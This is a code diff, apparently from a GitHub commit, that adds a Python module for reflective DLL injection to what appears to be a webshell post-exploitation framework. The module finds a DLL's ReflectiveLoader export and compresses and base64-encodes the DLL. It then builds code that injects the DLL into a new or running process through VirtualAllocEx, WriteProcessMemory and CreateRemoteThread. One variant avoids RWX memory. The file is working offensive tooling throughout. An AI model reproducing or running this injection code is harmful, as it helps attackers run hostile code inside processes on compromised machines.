|
| 1 | +from modules.inject_shellcode import Inject_shellcode, ModuleException |
| 2 | +from core import config |
| 3 | +from utils import gzip_utils |
| 4 | +import pefile |
| 5 | + |
| 6 | + |
| 7 | +class InjectDllReflectiveModuleException(ModuleException): |
| 8 | + pass |
| 9 | + |
| 10 | + |
| 11 | +class Inject_dll_reflective(Inject_shellcode): |
| 12 | + _exception_class = InjectDllReflectiveModuleException |
| 13 | + short_help = "Inject a reflective DLL in a new (or existing) process" |
| 14 | + complete_help = r""" |
| 15 | + Author: @stephenfewer |
| 16 | + Links: https://github.com/stephenfewer/ReflectiveDLLInjection |
| 17 | + |
| 18 | + |
| 19 | + Inject a reflective DLL into a remote process. |
| 20 | + You can choose to create a new process or use a pid of an existing process as a host process. |
| 21 | + The dll_path is a relative path to a dll that exists in the folder 'reflective_dll/'. |
| 22 | + The dll must be compiled with the 'ReflectiveLoader' exported function otherwise it cannot be executed |
| 23 | + at runtime. |
| 24 | + You can use one of the following supported injection techniques: |
| 25 | + - remote_virtual: classic injection: |
| 26 | + VirtualAllocEx (RWX) -> WriteProcessMemory -> CreateRemoteThread |
| 27 | + - remote_virtual_protect: with this technique you never allocate RWX memory (polymorphic encoders won't work): |
| 28 | + VirtualAllocEx(RW) -> WriteProcessMemory -> VirtualProtect(RX) -> CreateRemoteThread |
| 29 | + Note that when you try to inject into an existing process you should ensure you have the rights to open |
| 30 | + a handle to that process otherwise the injection cannot be performed. |
| 31 | + |
| 32 | + |
| 33 | + Usage: |
| 34 | + #inject_dll_reflective dll_path [injection_type] [remote_process] |
| 35 | + |
| 36 | + Positional arguments: |
| 37 | + dll_path name of a .dll module in the 'reflective_dll/' directory |
| 38 | + the DLL must contain a ReflectiveLoader exported function |
| 39 | + injection_type the process injection method to use for injecting shellcode |
| 40 | + Allowed values: 'remote_virtual', 'remote_virtual_protect' |
| 41 | + Default: 'remote_virtual' |
| 42 | + remote_process path to an executable to spawn as a host process for the shellcode |
| 43 | + if you pass a pid it will try to inject into an existing running process |
| 44 | + Default: 'cmd.exe' |
| 45 | +
|
| 46 | + Examples: |
| 47 | + Inject a messagebox reflective DLL into an existing process: |
| 48 | + #inject_dll_reflective messagebox_reflective.dll remote_virtual 2264 |
| 49 | + |
| 50 | + """ |
| 51 | + |
| 52 | + def __get_reflective_loader_offset(self, dll_path): |
| 53 | + pe_parser = pefile.PE(dll_path) |
| 54 | + for exported_function in pe_parser.DIRECTORY_ENTRY_EXPORT.symbols: |
| 55 | + if 'ReflectiveLoader' in exported_function.name: |
| 56 | + reflective_loader_rva = exported_function.address |
| 57 | + return hex(pe_parser.get_offset_from_rva(reflective_loader_rva)) |
| 58 | + raise self._exception_class('The DLL does not contain a reflective loader function.\n') |
| 59 | + |
| 60 | + def _create_request(self, args): |
| 61 | + dll_path, injection_type, remote_process,\ |
| 62 | + thread_timeout, thread_parameters, code_offset = self._parse_run_args(args) |
| 63 | + dll_path = config.modules_paths + 'reflective_dll/' + dll_path |
| 64 | + code_offset = str(self.__get_reflective_loader_offset(dll_path)) |
| 65 | + with open(dll_path, 'rb') as file_handle: |
| 66 | + byte_arr = bytearray(file_handle.read()) |
| 67 | + base64_compressed_dll = gzip_utils.get_compressed_base64_from_binary(byte_arr) |
| 68 | + if injection_type == 'remote_virtual_protect': |
| 69 | + runtime_code = self._runtime_code % (self._runtime_code_virtual_protect, base64_compressed_dll, |
| 70 | + thread_parameters, remote_process, |
| 71 | + thread_timeout, code_offset) |
| 72 | + else: |
| 73 | + runtime_code = self._runtime_code % (self._runtime_code_virtual, base64_compressed_dll, |
| 74 | + thread_parameters, remote_process, |
| 75 | + thread_timeout, code_offset) |
| 76 | + return runtime_code |
0 commit comments